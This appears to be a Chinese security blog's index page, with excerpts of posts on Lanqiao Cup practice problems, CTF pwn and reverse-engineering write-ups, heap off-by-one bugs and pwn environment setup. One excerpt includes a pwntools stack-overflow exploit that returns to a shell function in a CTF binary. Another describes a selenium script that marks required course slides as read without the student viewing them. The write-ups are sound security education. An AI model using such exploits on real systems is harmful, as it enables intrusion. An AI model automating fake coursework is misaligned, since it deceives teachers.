蓝桥杯 基础练习
普通题BASIC-1 闰年判断问题描述代码
资源限制时间限制:1.0s 内存限制:256.0MB
问题描述 给定一个年份,判断这一年是不是闰年。 当以下情况之一满足时,这一年是闰年:1. 年份是4的倍数而不是100的倍数;2. 年份是400的倍数。 其他的年份都不是闰年。
输入格式 输入包含一个整数y,表示当前的年份。
输出格式 输出一行,如果给定的年份是闰年,则输出yes,否则输出no。 说明:当试题指定你输出一个字符串作为结果(比如本题的yes或者no,你需要严格按照试题中给定的大小写,写错大小写将不得分。
样例输入 2013
样例输出 no
样例输入 2016
样例输出 yes
数据规模与约定 1990 <= y <= 2050。
12345678910111213#include<iostream>using namespace std;int main(int argc, char const *argv[]){ int year; cin >> year; if ((year % 4 ...
蓝桥杯 入门训练
BEGIN-1 A+B问题问题描述代码
资源限制 时间限制:1.0s 内存限制:256.0MB
问题描述 输入A、B,输出A+B。 说明:在“问题描述”这部分,会给出试题的意思,以及所要求的目标。
输入格式 输入的第一行包括两个整数,由空格分隔,分别表示A、B。 说明:“输入格式”是描述在测试你的程序时,所给的输入一定满足的格式。
做题时你应该假设所给的输入是一定满足输入格式的要求的,所以你不需要对输入的格式进行检查。多余的格式检查可能会适得其反,使用你的程序错误。
在测试的时候,系统会自动将输入数据输入到你的程序中,你不能给任何提示。比如,你在输入的时候提示“请输入A、B”之类的话是不需要的,这些多余的输出会使得你的程序被判定为错误。
输出格式 输出一行,包括一个整数,表示A+B的值。 说明:“输出格式”是要求你的程序在输出结果的时候必须满足的格式。
在输出时,你的程序必须满足这个格式的要求,不能少任何内容,也不能多任何内容。如果你的内容和输出格式要求的不一样,你的程序会被判断为错误,包括你输出了提示信息、中间调试信息、计时或者统计的信息等。
样例输入 12 45 ...
攻防世界 pwn 进阶区
反应釜开关控制dice_gamestack2warmup这个题呢,从题目描述可以看出来他是一个函数套函数的题下载附件,咱们开始分析
可以看到是 64 位程序,只开了 NX ,并且可以发现他只有一个输入点
好的,掏出 IDA 我们开始刚,首先shift+f12 我们先看一下字符串,
阔以很明显发现有 system 和 /bin/sh点进去后可以发现他就是获取 shell 的一个函数,那刚刚好,所以我们要做的就是让程序最终执行到这儿就行了
我们再来看看他的主函数
嗯……有一个gets,好了,还看啥呀,直接栈溢出就好
123456789101112from pwn import *#r = remote("")r = process("./123")shell = 0x4005F6payload = 'a'*(0x200+8) + p64(shell)r.sendline(payload)r.interactive()
效果如下很简单的一道栈溢出题继续先看一下保护措施和运行一下程序可以看到是的程序除了 ca ...
【BUUCTF】Reverse篇
easyre首先查一下壳以及其他相关信息可以看到是 64 位程序,没壳,那就可以直接用IDA打开了
IDA一键F5真·easyre
reverse1拿到题目,继续查壳,看信息64位程序,没壳IDA打开后找主函数逻辑,然后…..点了半天没找到直接shift+F12查看字符串
可以发现这里有一个关键字符串
this is the right flag!
点进去,x查看交叉引用便可以找到主函数
可以看到的是在这个字符串上面有个 strcpy 对比,其中一个是我们输入的字符串,而另一个不出意外就是flag了,点进去看看
加上 flag 前缀后我们直接提交,但很难受的就是可以发现flag是错误的。我们继续去分析他的主函数在上面我们可以看到他对 flag 做了与一个操作
123456789for ( j = 0; ; ++j ){ v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 ) Str2[j] = 48;}
注意他的第二 ...
某课堂自动过ppt脚本
Warning 本文章内容仅作学习记录,请勿传播以及用于非法用途
分析事情的起因嘛其实很简单,特殊时期只能窝在家里,然后老师又在某课堂上放了一堆ppt,还是必须要看的那种,不看就扣平时分(委屈)而那个ppt呢,又多又没意思,每页至少就得4、5秒才能成功打卡,贼耗时间。于是乎,出于高效学(wan)习(shua)的目的,决定来写一个脚本去自动跑ppt
要写脚本首先就要分析相关链接的特点,点击多个ppt后可以发现url中之后最后两块是不一样的,前面都是一样的,这意味着我们可以通过修改最后两个区域来进行ppt的跳转
接下来我们看看有ppt的页面,点击去以后可以发现并不是ppt直接出来的,二十还需要再点一次(页面上有个ppt的首页,点击后ppt会弹出在页面上)在ppt出来以后我们可以发现他有两种状态:已读和未读。那么我们是否可以用这个来寻找我们还没有播放的ppt呢
ok,基本的分析就到这儿,接下来我们来考虑如何实现自动“过”ppt
实现脚本的实现我们借助python来写。python里边有个库叫做selenium,它可以在python的控制下启动一个浏览器,这样的话,我们就可以一边测试一边来写 ...
off_by_one
前言首先我们先大致了解一下什么是off_by_one,直接套用ctfwiki中的解释:
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。
off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
字符串操作不合适
一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于Linux堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based)的off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。
ok,至于具 ...
攻防世界reverse新手练习
Hello, CTF分析一道逆向题,运行一下发现需要我们输入一个序列号,然后程序判断对错
打开IDA分析可以得知,当v10和v13相等时,会返回success接下来,要分析的就是v10是怎么来的,通过上面的代码可以知道v10是通过将输入的字符串以十六进制读取而成的那么,我们将v13转换成10进制(两位一转),再通过Ascll码变成字符,就可以得到正确的结果,也就是我们需要输入的东西,结果如下
EXP放一个转换的脚本(手算有些累人哦)
12345678910111213141516171819202122232425262728293031323334353637383940#include<iostream>using namespace std;char jisuan(char a){ switch (a) { case '0': return 0; break; case '1': return 1; break; ca ...
CTF简介
概述CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。
CTF 为团队赛,通常以三人为限,要想在比赛中取得胜利,就要求团队中每个人在各种类别的题目中至少精通一类,三人优势互补,取得团队的胜利。同时,准备和参与 CTF 比赛是一种有效将计算机科学的离散面、聚焦于计算机安全领域的方法。
赛事介绍CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内 ...
pwn手环境搭建
作为一个pwn手,一个自己的环境是少不了的,这个博客记录一下环境的搭建过程给需要的同学
前置准备pwn的环境可以用 vmware 创建一个虚拟机去承载,也可以用 WSL2 去承载,WSL相对方便一些但是有时候可能会出一些问题,vmware 虚拟机全面一些但是相比 wsl 总显得有些笨重(我也不知道为啥会这么觉得)
WSL2VMware虚拟机WSL安装并升级到WSL2详情请参照此处 https://docs.microsoft.com/zh-cn/windows/wsl/install-win10PS: 先开启wsl功能即可,先不安装具体的linux分发
WSL管理工具LxRunOffline下载以及手动安装WSL首先从这儿下载我们需要的LxRunOffline工具 https://github.com/DDoSolitary/LxRunOffline/releases有了这个工具我们就可以在任何我们想的地方安装WSL并且可以很方便的去管理他们
其次,我们需要手动下载需要安装的Linux分发的包 https://docs.microsoft.com/zh-cn/windows/wsl/i ...